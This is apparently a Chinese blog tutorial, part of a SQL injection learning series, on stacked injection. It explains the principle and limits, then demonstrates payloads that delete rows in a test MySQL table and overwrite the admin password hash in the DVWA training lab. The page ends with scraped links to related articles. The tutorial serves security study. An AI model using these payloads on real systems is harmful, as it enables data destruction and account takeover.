堆叠注入简介

堆叠注入是指注入的多条SQL语句可以一起执行。MySQL命令行中, 每一条语句结尾加; 表示语句结束。这样是不是可以多句一起使用。这个叫做 stacked injection。

堆叠注入原理&局限性

原理

在MySQL的SQL语法中,分号;是用来表示一条sql语句的结束,使用分号结束后可以在写一条SQL语句,若将使用分号分割的两条语句一起发给后端则两条语句都会被执行。

局限

1、堆叠注入需要后端API是否支持多语句执行,数据库引擎是否支持的限制,如果有一个不支持则无法使用

2、如果后端只返回一条数据则在前端是无法查看到第二条注入语句执行结果。

3、使用堆叠注入前也需要知道数据表的信息

堆叠注入比UNION注入更加强大,不仅可以拼接查询语句也可以拼接更新/删除语句。

MySQL语句测试

##例如用户只想查询id为1的数据,但是在输入中携带一条新的语句就可以删除该数据(如果存在堆叠注入漏洞)
##playload为:test5';delete from test where id =1 --
mysql> select *from test;
+------+-------+
| id   | name  |
+------+-------+
|    1 | test1 |
|    0 | test2 |
|    1 | test3 |
|    1 | test4 |
|    1 | test5 |
+------+-------+
5 rows in set (0.00 sec)
​
mysql> select * from test where name ='test5';delete from test where id =1;
+------+-------+
| id   | name  |
+------+-------+
|    1 | test5 |
+------+-------+
1 row in set (0.00 sec)
​
Query OK, 4 rows affected (0.00 sec)
​
mysql> select *from test;
+------+-------+
| id   | name  |
+------+-------+
|    0 | test2 |
+------+-------+
1 row in set (0.00 sec)

堆叠注入实施

前提条件:

1、已知的支持堆叠注入漏洞

2、已经通过其他方式获取了数据库表的相关信息

漏洞演示平台

DVWA

通过上一篇文章的报错注入可以获取到用户表表结构与表信息,users表内容如下:

MariaDB [dvwa]> select *from users;
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
| user_id | first_name | last_name | user    | password                         | avatar                      | last_login| failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/admin.jpg   | 2020-07-05
04:34:41 |            0 |
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | /hackable/users/gordonb.jpg | 2020-07-05
04:34:41 |            0 |
|       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | /hackable/users/1337.jpg    | 2020-07-05
04:34:41 |            0 |
|       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | /hackable/users/pablo.jpg   | 2020-07-05
04:34:41 |            0 |
|       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/smithy.jpg  | 2020-07-05
04:34:41 |            0 |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
5 rows in set (0.00 sec)

构建堆叠注入playload,注入达到的目的是修改1337用户的密码,使用已知的密码进行替换如123456,其md5加密后是:e10adc3949ba59abbe56e057f20f883e

1';update users set password='e10adc3949ba59abbe56e057f20f883e' where user_id =1; --

查看数据中admin用户密码是否已经修改成功,在实际注入中可以直接使用新密码尝试登陆,如果登录成功则密码被成功修改了

##注入前所有用户及密码
MariaDB [(none)]> use dvwa
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
​
Database changed
MariaDB [dvwa]> select * from users;
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
| user_id | first_name | last_name | user    | password                         | avatar                      | last_login          | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/admin.jpg   | 2020-07-05 04:34:41 |            0 |
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | /hackable/users/gordonb.jpg | 2020-07-05 04:34:41 |            0 |
|       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | /hackable/users/1337.jpg    | 2021-10-10 09:42:25 |            0 |
|       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | /hackable/users/pablo.jpg   | 2020-07-05 04:34:41 |            0 |
|       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/smithy.jpg  | 2020-07-05 04:34:41 |            0 |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
5 rows in set (0.00 sec)
​
##注入后admin用户密码被成功修改
MariaDB [dvwa]> select * from users;
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
| user_id | first_name | last_name | user    | password                         | avatar                      | last_login          | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin   | e10adc3949ba59abbe56e057f20f883e | /hackable/users/admin.jpg   | 2021-10-10 14:13:47 |            0 |
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | /hackable/users/gordonb.jpg | 2020-07-05 04:34:41 |            0 |
|       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | /hackable/users/1337.jpg    | 2021-10-10 09:42:25 |            0 |
|       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | /hackable/users/pablo.jpg   | 2020-07-05 04:34:41 |            0 |
|       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/smithy.jpg  | 2020-07-05 04:34:41 |            0 |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
5 rows in set (0.00 sec)

欢迎大家关注我的订阅号,会定期分享一些关于测试相关的文章,有问题也欢迎一起讨论学习!

Web安全之SQL注入漏洞学习(七)-堆叠注入相关推荐

  1. %3c xml 和php冲突,[原创]WEB安全第五章 漏洞学习与利用11 xml实体注入

    WEB安全第五章 漏洞学习与利用11 xml实体注入 XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数 ...

  2. 【SQL注入漏洞-07】堆叠查询靶场实战

    堆叠查询 堆叠查询,也叫堆叠注入( stacked injection),在SQL中,分号(;)是用来表示一条sql语句的结束.堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式. ...

  3. iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...

  4. Web安全之SQL注入漏洞学习(一)

    Web程序三层架构 三层架构主要是指将业务应用规划为的表示层 UI.数据访问层 DAL 以及业务逻辑层 BLL,其分层的核心任务是"高内聚低耦合"的实现.在软件体系架构设计中,分层 ...

  5. SQL注入漏洞测试(HTTP头注入)

    HTTP头部详解 User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中) Cookie:网站为了辨别用户身 ...

  6. mysql注入漏洞修复方案_注入漏洞修复方案

    近看到网上曝出的dedecms版本的一个注入漏洞利用,漏洞PoC和分析文章也已在网上公开.但是在我实际测试过程当中,发现无法复现.南昌办公应用培训南京电脑维护必备原因是此漏洞的利用需要一定的前提条件, ...

  7. XPath注入漏洞学习

    0x00 什么是XPath XPath是W3C的一个标准.它最主要的目的是为了在XML1.0或XML1.1文档节点树中定位节点所设计. 目前有XPath1.0和XPath2.0两个版本. XPath1 ...

  8. web渗透之文件包含漏洞-学习笔记分享

    文件包含 这里偷用一下老师名言:该文章仅用于个人学习与总结.请勿用于未授权的违法攻击!!用户滥用造成的一切后果自负!!学习者请务必遵守当地法律!! 1.首先什么是文件包含.         就是去其他 ...

  9. web安全之弱口令漏洞学习总结

    漏洞介绍 弱口令也是安全漏洞的一种,是指系统登录口令的设置强度不高,容易被攻击者猜到或破解.造成弱口令的主要原因是系统的运维人员.管理人员安全意识不足.常见的弱口令形式包括:系统出厂默认口令没有修改: ...

最新文章

  1. 更新pip到指定版本
  2. Pointers On C 1
  3. group_concat函数使用
  4. python零基础能学吗-初学者必知:零基础学习Python真的能学会吗?
  5. 说下我自己对空号检测的理解跟心得
  6. 2023考研高数接力题典1800习题讲解
  7. np.multiply函数的用法 ufunc broadcasting
  8. matlab读写xlsx文件
  9. Google 镜像站
  10. 1.26赛尔号服务器维护时间,赛尔号稀有精灵出现时间大全(完全版)
  11. ! [rejected] master - master (fetch first)问题的解决方案
  12. win7快捷关闭计算机,win7系统快速启动功能关闭的处理方法
  13. 几种编程语言的优缺点
  14. Win10联想电脑连不上wifi解决方法
  15. 足球大师服务器维护,球员能力提升终极密法《足球大师》详细突破攻略
  16. 游戏开发相关书籍推荐,简介
  17. 极限论总极难学真因:人有抵制思想混乱学说本能
  18. java基础之转换流
  19. 【转载】【原帖名】如何通过紧急刷机模式dump几乎任何高通机型的存储设备
  20. ubantu提交代码Warning:subject >50 characters; use shorter first paragraph怎么解决

热门文章

  1. Codeforces 103B - Cthulhu(并查集 找环和块)
  2. python文件对象
  3. Linux WIFI优先连接5G频段
  4. FPGA设计思想与技巧之串并转换和流水线操作
  5. C++到底还能做什么
  6. 使用顽灯浏览器执行H5游戏辅助挂机
  7. 迁移学习一、基本使用
  8. 易盾sdk引起项目的整体耗时问题?
  9. 小轿车燃烧爆炸 洒水车变身“消防车”
  10. 手机微信如何合并健康码行程码